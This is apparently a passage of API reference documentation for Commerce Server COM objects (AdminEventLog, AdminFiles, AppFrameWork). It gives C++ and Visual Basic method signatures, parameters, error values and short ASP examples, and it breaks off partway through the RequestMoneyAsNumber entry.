[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' oAdminEventLog is a Commerce.AdminEventLog object.

oAdminEventLog.WriteInformationalEvent("MySite", _
                         "Database accessed successfully")

See Also

[C++] AdminEventLog Object

[C++] IAdminEventLog::WriteErrorEvent

[C++] IAdminEventLog::WriteWarningEvent

[Visual Basic] AdminEventLog Object

[Visual Basic] AdminEventLog.WriteErrorEvent

[Visual Basic] AdminEventLog.WriteWarningEvent


IAdminEventLog::WriteWarningEvent Method [C++]

AdminEventLog.WriteWarningEvent Method [Visual Basic]

Use this method to write a warning event to the Commerce Server event log.

Definition

[C++]
HRESULT IAdminEventLog::WriteWarningEvent(
  BSTR bstrSiteName,
  BSTR bstrMessage
);
[Visual Basic]
Sub WriteWarningEvent(
  String bstrSiteName,
  String bstrMessage
)

Parameters

bstSiteName [C++]
[in] A BSTR that contains the site name.
bstSiteName [Visual Basic]
A String that contains the site name.
bstrMessage [C++]
[in] A BSTR that contains the warning event message string.
bstrMessage [Visual Basic]
A String that contains the warning event message string.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' oAdminEventLog is a Commerce.AdminEventLog object.

oAdminEventLog.WriteWarningEvent("MySite", _
                                 "Low Memory Availability")

See Also

[C++] AdminEventLog Object

[C++] IAdminEventLog::WriteErrorEvent

[C++] IAdminEventLog::WriteInformationalEvent

[Visual Basic] AdminEventLog Object

[Visual Basic] AdminEventLog.WriteErrorEvent

[Visual Basic] AdminEventLog.WriteInformationalEvent


AdminFiles Object [C++]

AdminFiles Object [Visual Basic]

Use this object for read-only access to server-side files. Different methods are provided to access binary and text files, respectively.

ProgID: | Commerce.AdminFiles (Externally creatable)
COM Class Name: | CAdminFiles
Type Library Name: | Commerce Admin 1.0 Type Library
DLL Name: | MSCSadmin.dll
Threading Model: | Both
[C++]
COM Interface Name: | IAdminFiles
Interface ID Constant: | None
Header File: | None

[C++] In C++, use the IAdminFiles interface to access the methods of the AdminFiles object.

Methods

[C++]
Method | Description
ReadFromBinaryFile | Reads the content of the specified binary file.
ReadFromFile | Reads the content of the specified text file.
[Visual Basic]
Method | Description
ReadFromBinaryFile | Reads the content of the specified binary file.
ReadFromFile | Reads the content of the specified text file.

See Also

General Purpose Objects


AdminFiles Methods [C++]

AdminFiles Methods [Visual Basic]

Methods

[C++]
Method | Description
ReadFromBinaryFile | Reads the content of the specified binary file.
ReadFromFile | Reads the content of the specified text file.
[Visual Basic]
Method | Description
ReadFromBinaryFile | Reads the content of the specified binary file.
ReadFromFile | Reads the content of the specified text file.


IAdminFiles::ReadFromBinaryFile Method [C++]

AdminFiles.ReadFromBinaryFile Method [Visual Basic]

Use this method to read the contents of the specified binary file. The file can contain any type of data, such as a numeric data or a bitmap.

Definition

[C++]
HRESULT IAdminFiles::ReadFromBinaryFile(
 BSTR bstrFileName,
 VARIANT* prgByte
);
[Visual Basic]
Function ReadFromBinaryFile(
 bstrFileName As String
) As Variant

Parameters

bstrFileName [C++]
[in] A BSTR that specifies the path and file name to read.
bstrFileName [Visual Basic]
A String that specifies the path and file name to read.
prgByte [C++]
[out] The address of a VARIANT used to return the file contents.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Variant containing the file contents.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The prgByte parameter contains valid data only if the method returns successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' The following example opens the specified file and
' then uses the Response.BinaryWrite method to download
' the file to a browser.
' oFile is a Commerce AdminFiles object.
' vFileContents is a variable of type Variant.
vFileContents = oFile.ReadFromBinaryFile("c:\temp\postcard.jpg")
Response.ContentsType = "image/jpeg"
Response.BinaryWrite vFileContents

See Also

[C++] AdminFiles Object

[C++] IAdminFiles::ReadFromFile

[Visual Basic] AdminFiles Object

[Visual Basic] AdminFiles.ReadFromFile


IAdminFiles::ReadFromFile Method [C++]

AdminFiles.ReadFromFile Method [Visual Basic]

Use this method to return the contents of the specified text file. The contents of the file are returned as a text string.

Definition

[C++]
HRESULT IAdminFiles::ReadFromFile(
 BSTR bstrFileName,
 BSTR* pbstrOut
);
[Visual Basic]
Function ReadFromFile(
 bstrFileName As String
) As String

Parameters

bstrFileName [C++]
[in] A BSTR that specifies the path and file name to read.
bstrFileName [Visual Basic]
A String that specifies the path and file name to read.
pbstrOut [C++]
[out] The address of a BSTR used to return the file contents.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a String containing the file contents.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pbstrOut parameter contains valid data only if the method returns successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' oFile is a reference to a Commerce AdminFiles object.
' sFileContents is a varaible of type String.
sFileContents = oFile.ReadFromFile("c:\temp\newfile.asp")

See Also

[C++] AdminFiles Object

[C++] IAdminFiles::ReadFromBinaryFile

[Visual Basic] AdminFiles Object

[Visual Basic] IAdminFiles::ReadFromBinaryFile


AppFrameWork Object [C++]

AppFrameWork Object [Visual Basic]

Use this object to simplify forms processing in Active Server Pages (ASP).

ProgID: | Commerce.AppFrameWork (Externally creatable)
COM Class Name: | AppFrameWork
Type Library Name: | AspLib 1.0 Type Library
DLL Name: | asplib.dll
Threading Model: | Both
[C++]
COM Interface Name: | IAppFrameWork
Interface ID Constant: | None
Header File: | None
[C++]

In C++, use the IAppFrameWork interface to access the methods of the AppFrameWork object.

Because this object is primarily intended for use within ASP script, access from C++ will not be common.

Methods

[C++]
Method | Description
Option | Generates an option tag on a page.
RequestDate | Retrieves a value from a URL query string or form post variable and converts it to a Date value (Date Variant).
RequestDateTime | Retrieves a value from a URL query string or form post variable and converts it to a DateTime value (Date Variant).
RequestFloat | Retrieves a value from a URL query string or form post variable and converts it to a floating-point value.
RequestMoneyAsNumber | Retrieves a value from a URL query string or form post variable and converts it as money, based on the specified locale.
RequestNumber | Retrieves a value from a URL query string or form post variable and converts it to a number.
RequestString | Retrieves a value from a URL query string or form post variable and performs string processing on it.
RequestTime | Retrieves a value from a URL query string or form post variable and converts it to a Time value (Date Variant).
VerifyWith | Generates hidden input fields that contain verification values.
VirtualDirectory | Returns the name of the virtual directory for the site.
[Visual Basic]
Method | Description
Option | Generates an option tag on a page.
RequestDate | Retrieves a value from a URL query string or form post variable and converts it to a Date value (Date Variant).
RequestDateTime | Retrieves a value from a URL query string or form post variable and converts it to a DateTime value (Date Variant).
RequestFloat | Retrieves a value from a URL query string or form post variable and converts it to a floating-point value.
RequestMoneyAsNumber | Retrieves a value from a URL query string or form post variable and converts it as money, based on the specified locale.
RequestNumber | Retrieves a value from a URL query string or form post variable and converts it to a number.
RequestString | Retrieves a value from a URL query string or form post variable and performs string processing on it.
RequestTime | Retrieves a value from a URL query string or form post variable and converts it to a Time value (Date Variant).
VerifyWith | Generates hidden input fields that contain verification values.
VirtualDirectory | Returns the name of the virtual directory for the site.

Remarks

The AppFrameWork object methods fall mainly into the following categories:

  • Formatting. The Option method makes it possible for you to easily format HTML page items, and where applicable, to determine HTML item values based upon a run time evaluation of other variables used in your page.
  • Validation. These methods begin with Request, and are used to retrieve values from a URL query string, convert the values to given data types based on a locale value, and validate these values against a specified range.

Before you create this object, you must create the Commerce.DataFunctions object in Application scope.

The AppFramework object is not available through the Common Language Runtime Interop Layer or the Base Class Library for use within the Commerce Server .NET Application Framework.

See Also

Core Objects


IAppFrameWork Methods [C++]

AppFrameWork Methods [Visual Basic]

Methods

[C++]
Method | Description
Option | Generates an option tag on a page.
RequestDate | Retrieves a value from a URL query string or form post variable and converts it to a Date value (Date Variant).
RequestDateTime | Retrieves a value from a URL query string or form post variable and converts it to a DateTime value (Date Variant).
RequestFloat | Retrieves a value from a URL query string or form post variable and converts it to a floating-point value.
RequestMoneyAsNumber | Retrieves a value from a URL query string or form post variable and converts it as money, based on the specified locale.
RequestNumber | Retrieves a value from a URL query string or form post variable and converts it to a number.
RequestString | Retrieves a value from a URL query string or form post variable and performs string processing on it.
RequestTime | Retrieves a value from a URL query string or form post variable and converts it to a Time value (Date Variant).
VerifyWith | Generates hidden input fields that contain verification values.
VirtualDirectory | Returns the name of the virtual directory for the site.
[Visual Basic]
Method | Description
Option | Generates an option tag on a page.
RequestDate | Retrieves a value from a URL query string or form post variable and converts it to a Date value (Date Variant).
RequestDateTime | Retrieves a value from a URL query string or form post variable and converts it to a DateTime value (Date Variant).
RequestFloat | Retrieves a value from a URL query string or form post variable and converts it to a floating-point value.
RequestMoneyAsNumber | Retrieves a value from a URL query string or form post variable and converts it as money, based on the specified locale.
RequestNumber | Retrieves a value from a URL query string or form post variable and converts it to a number.
RequestString | Retrieves a value from a URL query string or form post variable and performs string processing on it.
RequestTime | Retrieves a value from a URL query string or form post variable and converts it to a Time value (Date Variant).
VerifyWith | Generates hidden input fields that contain verification values.
VirtualDirectory | Returns the name of the virtual directory for the site.


IAppFrameWork::Option Method [C++]

AppFrameWork.Option Method [Visual Basic]

Use this method to generate an OPTION item in an HTML form selection list with the value and selection state that you specify.

Definition

[C++]
HRESULT IAppFrameWork::Option(
  VARIANT vtVal1,
  VARIANT vtVal2,
  BSTR* pbstrRet
);
[Visual Basic]
Function Option(
  vtVal1 As Variant,
  vtVal2 As Variant
) As String

Parameters

vtVal1 [C++]
[in] A VARIANT that contains the value of the option in the selection list.
vtVal1 [Visual Basic]
A Variant that contains the value of the option in the selection list.
vtVal2 [C++]
[in] A VARIANT that contains a value that indicates whether the list option is the selected option. If the vtVal2 parameter is equal to the vtVal1 parameter, then the HTML keyword SELECTED is inserted in the definition of the option list.
vtVal2 [Visual Basic]
A Variant that contains a value that indicates whether the list option is the selected option. If the vtVal2 parameter is equal to the vtVal1 parameter, then the HTML keyword SELECTED is inserted in the definition of the option list.
pbstrRet [C++]
[out, retval] A pointer to a BSTR used to return the OPTION item.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a String that contains the OPTION item.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pbstrRet parameter points to valid data only if the method completed successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

Example

[Visual Basic]
' oAppFrameWork is a Commerce.AppFrameWork object.
' The following example generates a selection field in an
' HTML form to enable the customer to select the expiration
' year of their credit card. The Option method generates
' <OPTION VALUE="> tags and marks the current year
' as selected:
<% iyear = Year(date) %>

<SELECT NAME="_cc_expyear">
    <% = oAppFrameWork.Option(2000, iyear) %> 2000
    <% = oAppFrameWork.Option(2001, iyear) %> 2001
    <% = oAppFrameWork.Option(2002, iyear) %> 2002
    <% = oAppFrameWork.Option(2003, iyear) %> 2003
</SELECT>
' Following is the HTML output that is produced,
' assuming that the current year is 2001:
<SELECT NAME="_cc_expyear">
    <OPTION VALUE="2000"> 2000
    <OPTION VALUE="2001" SELECTED> 2001
    <OPTION VALUE="2002"> 2002
    <OPTION VALUE="2003"> 2003
</SELECT>

See Also

[C++] AppFrameWork Object

[Visual Basic] AppFrameWork Object


IAppFrameWork::RequestDate Method [C++]

AppFrameWork.RequestDate Method [Visual Basic]

Use this method to retrieve a value from a URL query string or form post variable and convert it to a Date value (Date Variant), based on the specified or default locale.

Definition

[C++]
HRESULT IAppFrameWork::RequestDate(
  BSTR bstrName,
  VARIANT vtDefault,
  VARIANT vtMin,
  VARIANT vtMax,
  VARIANT vtLocale,
  VARIANT* pvtRet
);
[Visual Basic]
Function RequestDate(
  bstrName As String,
  Optional vtDefault As Variant,
  Optional vtMin As Variant,
  Optional vtMax As Variant,
  Optional vtLocale As Variant
) As Variant

Parameters

bstrName [C++]
[in] A BSTR that contains the name of the URL query string or form post variable to retrieve.
bstrName [Visual Basic]
A String that contains the name of the URL query string or form post variable to retrieve.
vtDefault [C++]
[in, optional] A VARIANT that contains the date value to return if the requested URL query string or form post variable does not exist or contains no value. The default cannot contain DateTime and Time values.
vtDefault [Visual Basic]
A Variant that contains the date to return if the requested URL query string or form post variable does not exist or contains no value. If this parameter is not supplied, the method returns NULL. The default cannot contain DateTime or Time values. This parameter is optional.
vtMin [C++]
[in, optional] A VARIANT that contains a date value that specifies the low end of the range against which to validate the value of the bstrName parameter. If the variant is of type VT_NULL, the vtMin parameter value is not considered in the validation process. If the converted value is less than vtMin, then NULL is returned.
vtMin [Visual Basic]
A Variant that contains a date value that specifies the low end of the range against which to validate the value of the bstrName parameter. The default value is NULL, indicating that this parameter is ignored. If the converted value is less than vtMin, then NULL is returned. This parameter is optional.
vtMax [C++]
[in, optional] A VARIANT that contains a date value that specifies the high end of the range against which to validate the value of the bstrName parameter. If the variant is of type VT_NULL, the vtMax parameter value is not considered in the validation process. If the converted value is greater than vtMax, then NULL is returned.
vtMax [Visual Basic]
A Variant that contains a date value that specifies the high end of the range against which to validate the value of the bstrName parameter. The default value is NULL, indicating that this parameter is ignored. If the converted value is greater than vtMax, then NULL is returned. This parameter is optional.
vtLocale [C++]
[in, optional] A VARIANT that contains a number that specifies the locale to use to convert the date. If this value is not specified, the RequestDate method uses the value of the Locale property of the DataFunctions object.
vtLocale [Visual Basic]
A Variant that that contains a number that specifies the locale to use to convert the date. If this value is not specified, the RequestDate method uses the value of the Locale property of the DataFunctions object. This parameter is optional.
pvtRet [C++]
[out, retval] A pointer to a VARIANT used to return the processed date value. If any validation fails, the return value will be NULL.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Date Variant that contains the processed date value. If any validation fails, the return value will be NULL.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pvtRet parameter points to valid data only if the method completed successfully. If any validation fails, the pvtRet parameter will be NULL.

This method converts the specified String based on the locale specified in the vtLocale parameter if the vtLocale parameter is specified; otherwise it uses the default locale found in the DataFunctions object. It validates the result of the conversion against the vtMin and vtMax parameters, if they are specified. If the validation fails this method returns NULL.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

Example

[Visual Basic]
' oAppFrameWork is a Commerce.AppFrameWork object.
' This example assumes that the date value is entered using
' the following form:
<FORM METHOD ="POST" ACTION="PROCESS.ASP">
<INPUT TYPE="Text" NAME="Date">
<INPUT TYPE="SUBMIT" NAME="ACTION" VALUE="Send Info">
</FORM>
' If the user enters the date into the form and clicks the
' Send Info button, the value of this form field can be
' retrieved by the RequestDate method as follows:
vDate = oAppFrameWork.RequestDate("Date", "2/27/01", "1/1/01", _
    "12/31/01",1033)

See Also

[C++] AppFrameWork Object

[C++] IDataFunctions_4_0::get_Locale, put_Locale

[C++] IAppFrameWork.RequestDateTime

[C++] IDataFunctions_4_0::ConvertDateString

[C++] IDataFunctions_4_0::Date

[Visual Basic] AppFrameWork Object

[Visual Basic] DataFunctions.Locale

[Visual Basic] AppFrameWork.RequestDateTime

[Visual Basic] DataFunctions.ConvertDateString

[Visual Basic] DataFunctions.Date


IAppFrameWork::RequestDateTime Method [C++]

AppFrameWork.RequestDateTime Method [Visual Basic]

Use this method to retrieve a value from a URL query string or form post variable and convert it to a DateTime value (Date Variant), based on the specified or default locale.

Definition

[C++]
HRESULT IAppFrameWork::RequestDateTime(
  BSTR bstrName,
  VARIANT vtDefault,
  VARIANT vtMin,
  VARIANT vtMax,
  VARIANT vtLocale,
  VARIANT* pvtRet
);
[Visual Basic]
Function RequestDateTime(
  bstrName As String,
  Optional vtDefault As Variant,
  Optional vtMin As Variant,
  Optional vtMax As Variant,
  Optional vtLocale As Variant
) As Variant

Parameters

bstrName [C++]
[in] A BSTR that contains the name of the URL query string or form post variable to retrieve.
bstrName [Visual Basic]
A String that contains the name of the URL query string or form post variable to retrieve.
vtDefault [C++]
[in, optional] A VARIANT that contains the value to return if the requested URL query string or form post variable does not exist or contains no value. If this parameter is not supplied, the method returns NULL. The default cannot contain Time values.
vtDefault [Visual Basic]
A Variant that contains the value to return if the requested URL query string or form post variable does not exist or contains no value. If this parameter is not supplied, the method returns NULL. The default cannot contain Time values. This parameter is optional.
vtMin [C++]
[in, optional] A VARIANT that contains a DateTime value that specifies the low end of the range against which to validate the value of the bstrName parameter. If the variant is of type VT_NULL, the vtMin parameter value is not considered in the validation process. If the converted value is less than vtMin, then NULL is returned.
vtMin [Visual Basic]
A Variant that contains a DateTime value that specifies the low end of the range against which to validate the value of the bstrName parameter. The default value is NULL, indicating that this parameter is ignored. If the converted value is less than vtMin, then NULL is returned. This parameter is optional.
vtMax [C++]
[in, optional] A VARIANT that contains a DateTime value that specifies the high end of the range against which to validate the value of the bstrName parameter. If the variant is of type VT_NULL, the vtMax parameter value is not considered in the validation process.If the converted value is greater than vtMax, then NULL is returned.
vtMax [Visual Basic]
A Variant that contains a DateTime value that specifies the high end of the range against which to validate the value of the bstrName parameter. The default value is NULL, indicating that this parameter is ignored. If the converted value is greater than vtMax, then NULL is returned. This parameter is optional.
vtLocale [C++]
[in, optional] A VARIANT that contains the number that identifies the locale to be used to convert the date/time string. If this parameter is not specified, the RequestDateTime method uses the value of the Locale property of the DataFunctions object.
vtLocale [Visual Basic]
A Variant that contains the number that identifies the locale to be used to convert the date/time string. If this parameter is not specified, the RequestDateTime method uses the value of the Locale property of the DataFunctions object. This parameter is optional.
pvtRet [C++]
[out, retval] A pointer to a VARIANT used to return the DateTime value. If any validation fails, the return value will be NULL.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Variant that contains a DateTime value. If any validation fails, the return value will be NULL.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pvtRet parameter points to valid data only if the method completed successfully. If any validation fails, the pvtRet parameter will be NULL.

This method converts the specified String based on the locale specified in the vtLocale parameter if the vtLocale parameter is specified; otherwise it uses the default locale found in the DataFunctions object. It validates the result of the conversion against the vtMin and vtMax parameters, if they are specified. If the validation fails this method returns NULL.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

Example

[Visual Basic]
' oAppFrameWork is a Commerce.AppFrameWork object.
' This example assumes that the DateTime value is entered using
' the following form:
<FORM METHOD ="POST" ACTION="PROCESS.ASP">
<INPUT TYPE="Text" NAME="DateTime">
<INPUT TYPE="SUBMIT" NAME="ACTION" VALUE="Send Info">
</FORM>
' If the user enters the date into the form and clicks
' the Send Info button, the value of this form field can
' be retrieved by the RequestDate method as follows:
vDate = oAppFrameWork.RequestDateTime("DateTime", _
    "1/1/01 12:00:01 AM", "1/1/01 12:00:01 AM", _
     "12/31/01 11:59:59 PM", 1033)

See Also

[C++] AppFrameWork Object

[C++] IDataFunctions_4_0::get_Locale, put_Locale

[C++] IAppFrameWork::RequestDate

[C++] IDataFunctions_4_0::ConvertDateTimeString

[C++] IAppFrameWork::RequestTime

[Visual Basic] AppFrameWork Object

[Visual Basic] DataFunctions.Locale

[Visual Basic] AppFrameWork.RequestDate

[Visual Basic] DataFunctions.ConvertDateTimeString

[Visual Basic] AppFrameWork.RequestTime


IAppFrameWork::RequestFloat Method [C++]

AppFrameWork.RequestFloat Method [Visual Basic]

Use this method to retrieve a value from a URL query string or form post variable and convert it to a floating-point value, based on the specified or default locale.

Optionally, the RequestFloat method also checks the converted number against the specified range.

Definition

[C++]
HRESULT IAppFrameWork::RequestFloat(
  BSTR bstrName,
  VARIANT vtDefault,
  VARIANT vtMin,
  VARIANT vtMax,
  VARIANT vtLocale,
  VARIANT* pvtRet
);
[Visual Basic]
Function RequestFloat(
  bstrName As String,
  Optional vtDefault As Variant,
  Optional vtMin As Variant,
  Optional vtMax As Variant,
  Optional vtLocale As Variant
) As Variant

Parameters

bstrName [C++]
[in] A BSTR that contains the name of the URL query string or form post variable to retrieve.
bstrName [Visual Basic]
A String that contains the name of the URL query string or form post variable to retrieve.
vtDefault [C++]
[in, optional] A VARIANT that contains the value to return if the requested URL query string or form post variable is not present or contains no value. If this parameter is not supplied, the method returns NULL.
vtDefault [Visual Basic]
A Variant that contains the value to return if the requested URL query string or form post variable is not present or contains no value. If this parameter is not supplied, the method returns NULL. This parameter is optional.
vtMin [C++]
[in, optional] A VARIANT that contains the number that specifies the low end of the range of values against which to validate the converted value. If the variant is of type VT_NULL, the vtMin parameter value is not considered in the validation process. If the converted value is less than vtMin, then NULL is returned.
vtMin [Visual Basic]
A Variant that contains the number that specifies the low end of the range of values against which to validate the converted value. The default value is NULL, indicating that this parameter is ignored. If the converted value is less than vtMin, then NULL is returned. This parameter is optional.
vtMax [C++]
[in, optional] A VARIANT that contains the number that specifies the high end of the range of values against which to validate the converted value. If the variant is of type VT_NULL, the vtMax parameter value is not considered in the validation process. If the converted value is greater than vtMax, then NULL is returned.
vtMax [Visual Basic]
A Variant that contains the number that specifies the high end of the range of values against which to validate the converted value. The default value is NULL, indicating that this parameter is ignored. If the converted value is greater than vtMax, then NULL is returned. This parameter is optional.
vtLocale [C++]
[in, optional] A VARIANT that contains the number that identifies the locale to use to convert the value. If this value is not specified, the RequestFloat method uses the value of the Locale property of the DataFunctions object.
vtLocale [Visual Basic]
A Variant that contains the number that identifies the locale to use to convert the value. If this value is not specified, the RequestFloat method uses the value of the Locale property of the DataFunctions object. This parameter is optional.
pvtRet [C++]
[out, retval] A pointer to a VARIANT used to return the floating-point value. If any validation fails, the return value will be NULL.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Variant containing the floating-point value. If any validation fails, the return value will be NULL.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pvtRet parameter points to valid data only if the method completes successfully. If any validation fails, the pvtRet parameter will be NULL.

This method converts the specified String based on the locale specified in the vtLocale parameter if the vtLocale parameter is specified; otherwise it uses the default locale found in the DataFunctions object. It validates the result of the conversion against the vtMin and vtMax parameters, if they are specified. If the validation fails this method returns NULL.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

Example

[Visual Basic]
' oAppFrameWork is a Commerce.AppFrameWork object.
' vFloat is a Variant.
' This example assumes that the float value is entered using
' the following form:
<FORM METHOD ="POST" ACTION="PROCESS.ASP">
<INPUT TYPE="Text" NAME="Float">
<INPUT TYPE="SUBMIT" NAME="ACTION" VALUE="Send Info">
</FORM>
' If the user enters the number into the form and clicks the
' Send Info button, the value of this form field can be
' retrieved by the RequestFloat method as follows:
vFloat = oAppFrameWork.RequestFloat("Float", 0, 0, 100, 1033)

See Also

[C++] AppFrameWork Object

[C++] IDataFunctions_4_0::get_Locale, put_Locale

[C++] IAppFrameWork::RequestNumber

[C++] IDataFunctions_4_0::ConvertFloatString

[C++] IDataFunctions_4_0::Float

[C++] IDataFunctions_4_0::ValidateFloat

[Visual Basic] AppFrameWork Object

[Visual Basic] DataFunctions.Locale

[Visual Basic] AppFrameWork.RequestNumber

[Visual Basic] DataFunctions.ConvertFloatString

[Visual Basic] DataFunctions.Float

[Visual Basic] DataFunctions.ValidateFloat


IAppFrameWork::RequestMoneyAsNumber Method [C++]

AppFrameWork.RequestMoneyAsNumber Method [Visual Basic]

Use this method to retrieve a value from a URL query string or form post variable and convert it as money, based on the specified locale.

Definition

[C++]
HRESULT IAppFrameWork::RequestMoneyAsNumber(
  BSTR bstrName,
  VARIANT vtDefault,
  VARIANT vtMin,
  VARIANT vtMax,
  VARIANT vtLocale,
  VARIANT* pvtRet
);
[Visual Basic]
Function RequestMoneyAsNumber(
  bstrName As String,
  Optional vtDefault As Variant,
  Optional vtMin As Variant,
  Optional vtMax As Variant,
  Optional vtLocale As Variant
) As Variant

Parameters

bstrName [C++]
[in] A BSTR that contains the name of the URL query string or form post variable to retrieve.
bstrName [Visual Basic]
A String that contains the name of the URL query string or form post variable to retrieve.
vtDefault [C++]
[in, optional] A VARIANT that contains the value to return if the requested URL query string or form post variable is not present or contains no value. If this parameter is not supplied, the method returns NULL. If the default value is a string value, it will be converted into the base monetary value, otherwise, it is assumed that the value is in base monetary units.
vtDefault [Visual Basic]
A Variant that contains the value to return if the requested URL query string or form post variable is not present or contains no value. If this parameter is also not supplied, the method returns NULL. If the default value is a string value, it will be converted into the base monetary value; otherwise, it is assumed that the value is in base monetary units. This parameter is optional.
vtMin [C++]
[in, optional] A VARIANT that contains the monetary value that specifies the low end of the range against which to validate the converted value. A value in base monetary units is expected for the vtMin parameter. If the converted value is less than vtMin, then NULL is returned.
vtMin [Visual Basic]
A Variant that contains the monetary value that specifies the low end of the range against which to validate the converted value. A value in base monetary units is expected for the vtMin parameter. If the converted value is less than vtMin, then NULL is returned. This parameter is optional.
vtMax [C++]
[in, optional] A VARIANT that contains the monetary value that specifies the high end of the range against which to validate the converted value. If the variant is of type VT_NULL, the vtMax parameter value is not considered in the validation process. A value in base monetary units is expected for the vtMax parameter. If the converted value is greater than vtMax, then NULL is returned.
vtMax [Visual Basic]
A Variant that specifies the high end of the range against which to validate the converted value. A value in base monetary units is expected for the vtMax parameter. If the converted value is greater than vtMax, then NULL is returned. This parameter is optional.
vtLocale [C++]
[in, optional] A VARIANT that contains the number that specifies the locale to use to convert the bstrName parameter. If this parameter is not used, the RequestMoneyAsNumber method uses the value of the Locale property of the DataFunctions object.
vtLocale [Visual Basic]
A Variant that contains the number that specifies the locale to use to convert the bstrName parameter. If this parameter is not used, the RequestMoneyAsNumber method uses the value of the Locale property of the DataFunctions object. This parameter is optional.
pvtRet [C++]
[out, retval] A pointer to a VARIANT used to return the number in the base monetary units of the specified or default locale. If any validation fails, the return value will be NULL.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Variant that contains a number in the base monetary units of the specified or default locale. If any validation fails, the return value will be NULL.

Error Values

